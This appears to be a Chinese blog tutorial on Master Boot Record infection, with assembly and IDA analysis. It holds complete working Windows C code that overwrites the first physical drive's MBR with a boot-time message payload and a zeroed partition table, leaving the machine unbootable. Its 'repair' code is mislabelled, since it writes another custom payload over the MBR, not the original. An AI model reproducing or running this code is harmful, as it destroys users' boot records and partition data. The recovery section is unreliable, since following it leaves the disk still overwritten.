前几天工程实践,有人涉及到了MBR的感染。我也来学习一哈。
本文我们要了解的几个东西:
1)什么是MBR。
2)怎么感染MBR 。
3)怎么分析MBR感染。
4)
BIOS int 10 中断的应用。
5)怎么预防和修复MBR感染。
1.什么是MBR(引用自百度知道)
MBR
,全称为
Master Boot Record
,即硬盘
的
主引导记录
。
为了便于理解,一般将MBR分为广义和狭义两种:广义的MBR包含整个扇区(
引导程序
、分区表及分隔标识),也就是上面所说的
主引导记录
;而狭义的MBR仅指
引导程序
而言。
硬盘的0柱面、0磁头、1扇区称为主引导扇区
(也叫主引导记录MBR)。它由三个部分组成,主引导程序、硬
盘分区表
DPT(Disk Partition table)和硬盘有效标志(55AA)。在总共512字节的主引导扇区
里
主引导程序(boot loader)
占446个字节,第二部分是Partition table区(分区表),即DPT,占64个字节,硬盘中分区有多少以及每一分区的大小都记在其中。第三部分是magic number,占2个字节,固定为55AA。

2.怎么感染MBR
说是感染MBR,其实就是改写MBR,在引导扇区里面写入我们想执行的代码。
1 #include "stdafx.h" 2 #include "windows.h" 3 #include "stdio.h" 4 char mbr[512]= { //字符串地址 5 0xB8,0x12,0x00,0xCD,0x10,0xBD,0x18,0x7C,0xB9,0x13,0x00,0xB8,0x01,0x13,0xBB,0x0C,0x00,0xBA,0x00,0x00,0xCD,0x10,0xE2,0xFE,//调用int10的代码。 6 0x49,0x27,0x6D,0x20,0x6E,0x6F,0x74,0x20,0x61,0x20,0x76,0x69,0x72,0x75,0x73,0x20,0x21,0x20,0x3A,0x29,0x00,0x00,0x00,0x00,//I'm not a virus ! :) 7 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 8 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 9 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 10 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 11 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 12 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 13 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 14 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 15 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 16 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 17 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 18 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 19 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 20 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 21 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 22 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 23 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 24 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 25 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 26 0x00,0x00,0x00,0x00,0x00,0x00,0x55,0xAA 27 }; 28 //---------------------------------//提升当前进程权限---------------------------------------// 29 BOOL GetDebugPrivilege() 30 { 31 HANDLE hToken; 32 DWORD Ret=FALSE; 33 TOKEN_PRIVILEGES TP; 34 35 if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) 36 { 37 printf("[-] Error in GetDebugPrivilege OpenProcessToken: %u\n", GetLastError()); 38 39 goto bye; 40 } 41 42 if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &TP.Privileges[0].Luid)) 43 { 44 printf("[-] Error in GetDebugPrivilege LookupPrivilegeValue: %u\n", GetLastError()); 45 46 goto bye; 47 48 } 49 50 TP.PrivilegeCount=1; 51 TP.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; 52 53 if(!AdjustTokenPrivileges(hToken,FALSE,&TP,0,NULL,NULL)) 54 { 55 printf("[-] Error in GetDebugPrivilege with AdjustTokenPrivileges: %u\n", GetLastError()); 56 57 goto bye; 58 } 59 60 Ret = TRUE; 61 bye: 62 CloseHandle(hToken); 63 64 return Ret; 65 } 66 67 void WriteMbr() 68 { 69 HANDLE hHandle = NULL; 70 DWORD dwSize = 0; 71 hHandle = CreateFileA("\\\\.\\PHYSICALDRIVE0",GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0); 72 if (hHandle == INVALID_HANDLE_VALUE) 73 { 74 printf("[-] Error in CreateFileA:%u\n",GetLastError()); 75 } 76 77 WriteFile(hHandle, mbr, 512, &dwSize, NULL); 78 } 79 80 int main(int argc, char* argv[]) 81 { 82 GetDebugPrivilege(); 83 WriteMbr(); 84 85 return 0; 86 }
我们就这样成功的将数组里面的内容写入MBR了,我们数组里面就可以放我们想执行的代码了。
3.int 10 中断的应用
来看我们数组里到底放的是什么?
int 10h中断是BIOS对系统屏幕显示器所提供的服务程序。我们可以调用int 10h中断来控制显示器的显示。
1 start: 2 mov ax,12h //AL=12 640×480 16色图形 (EGA) 3 int 10h 4 mov bp, 0000H//ES:BP 指向串地址,这里要填入我们要显示的字符串的地址。 5 mov cx, 13h//CX: 表示串的长度 6 mov ax,1301h//AH = 13,功能号,表示显示字符串 7 mov bx,0Ch//BH: 页号 8 mov dx,0h//DH, DL 分表表示起始的行列 9 int 10h 10 s: loop s 11 code ends 12 end start
我们编译出这段汇编过后,用C32提取出机器码,然后再机器码后面加我们要显示的字符,最后填充满MBR的大小,512字节。就变成到上面代码中的mbr数组了。
最后MBR被感染后的执行效果:不能重启计算机,重启显示我们写的字符串。
4.分析感染的MBR
我们先要WinHex导出我们受感染的MBR,然后IDA打开。
注意打开的偏移是0x7c00,打开方式是16进制。
来看看我们感染了的MBR:

然后来看IDA分析后的代码:
1 seg000:00007C00 db 0B8h ; 2 seg000:00007C01 db 12h 3 seg000:00007C02 db 0 4 seg000:00007C03 db 0CDh ; 5 seg000:00007C04 db 10h 6 seg000:00007C05 db 0BDh ; 7 seg000:00007C06 db 18h 8 seg000:00007C07 db 7Ch ; | 9 seg000:00007C08 db 0B9h ; 10 seg000:00007C09 db 13h 11 seg000:00007C0A db 0 12 seg000:00007C0B db 0B8h ; 13 seg000:00007C0C db 1 14 seg000:00007C0D db 13h 15 seg000:00007C0E db 0BBh ; 16 seg000:00007C0F db 0Ch 17 seg000:00007C10 db 0 18 seg000:00007C11 db 0BAh ; 19 seg000:00007C12 db 0 20 seg000:00007C13 db 0 21 seg000:00007C14 db 0CDh ; 22 seg000:00007C15 db 10h 23 seg000:00007C16 db 0E2h ; 24 seg000:00007C17 db 0FEh ; 25 seg000:00007C18 db 49h ; I 26 seg000:00007C19 db 27h ; ' 27 seg000:00007C1A db 6Dh ; m 28 seg000:00007C1B db 20h 29 seg000:00007C1C db 6Eh ; n 30 seg000:00007C1D db 6Fh ; o 31 seg000:00007C1E db 74h ; t 32 seg000:00007C1F db 20h 33 seg000:00007C20 db 61h ; a 34 seg000:00007C21 db 20h 35 seg000:00007C22 db 76h ; v 36 seg000:00007C23 db 69h ; i 37 seg000:00007C24 db 72h ; r 38 seg000:00007C25 db 75h ; u 39 seg000:00007C26 db 73h ; s 40 seg000:00007C27 db 20h 41 seg000:00007C28 db 21h ; ! 42 seg000:00007C29 db 20h 43 seg000:00007C2A db 3Ah ; : 44 seg000:00007C2B db 29h ; )
- -,好乱,我们A,C,U整理代码:
1 seg000:7C00 ; Segment type: Pure code 2 seg000:7C00 seg000 segment byte public 'CODE' use16 3 seg000:7C00 assume cs:seg000 4 seg000:7C00 ;org 7C00h 5 seg000:7C00 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing 6 seg000:7C00 mov ax, 12h 7 seg000:7C03 int 10h ; - VIDEO - SET VIDEO MODE 8 seg000:7C03 ; AL = mode 9 seg000:7C05 mov bp, 7C18h 10 seg000:7C08 mov cx, 13h 11 seg000:7C0B mov ax, 1301h 12 seg000:7C0E mov bx, 0Ch 13 seg000:7C11 mov dx, 0 14 seg000:7C14 int 10h ; - VIDEO - WRITE STRING (AT,XT286,PS,EGA,VGA) 15 seg000:7C14 ; AL = mode, BL = attribute if AL bit 1 clear, BH = display page number 16 seg000:7C14 ; DH,DL = row,column of starting cursor position, CX = length of string 17 seg000:7C14 ; ES:BP -> start of string 18 seg000:7C16 19 seg000:7C16 loc_7C16: ; CODE XREF: seg000:loc_7C16j 20 seg000:7C16 loop loc_7C16 21 seg000:7C16 ; --------------------------------------------------------------------------- 22 seg000:7C18 aIMNotAVirus db 'I',27h,'m not a virus ! :' 23 seg000:7C2B db 29h ; )
着就和我们之前写的代码差不多了。
5.预防和修复MBR感染
1)我们可以准备一个我们的MBR备份,当被感染了,我们就可以通过PE毛桃进入系统,修改回我们原来的MBR,这样就不会造成数据丢失了;当然也可以虚拟机快照恢复。
2)代码重建MBR
1 unsigned char scode[] = 2 "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" 3 "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x5b\x46\x75\x48\x61\x6f\x2d\x32" 4 "\x30\x31\x30\x5d\x51\x51\x3a\x35\x30\x33\x32\x36\x37\x37\x31\x34"; 5 HANDLE hDevice; 6 DWORD dwBytesWritten, dwBytesReturned; 7 BYTE pMBR[512] = {0}; 8 memcpy(pMBR, scode, sizeof(scode) - 1); 9 pMBR[510] = 0x55; 10 pMBR[511] = 0xAA; 11 hDevice = CreateFile ("\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,OPEN_EXISTING,0, NULL); 12 if(hDevice == INVALID_HANDLE_VALUE) 13 return -1; 14 DeviceIoControl ( hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL); 15 WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); 16 DeviceIoControl (hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL); 17 CloseHandle(hDevice);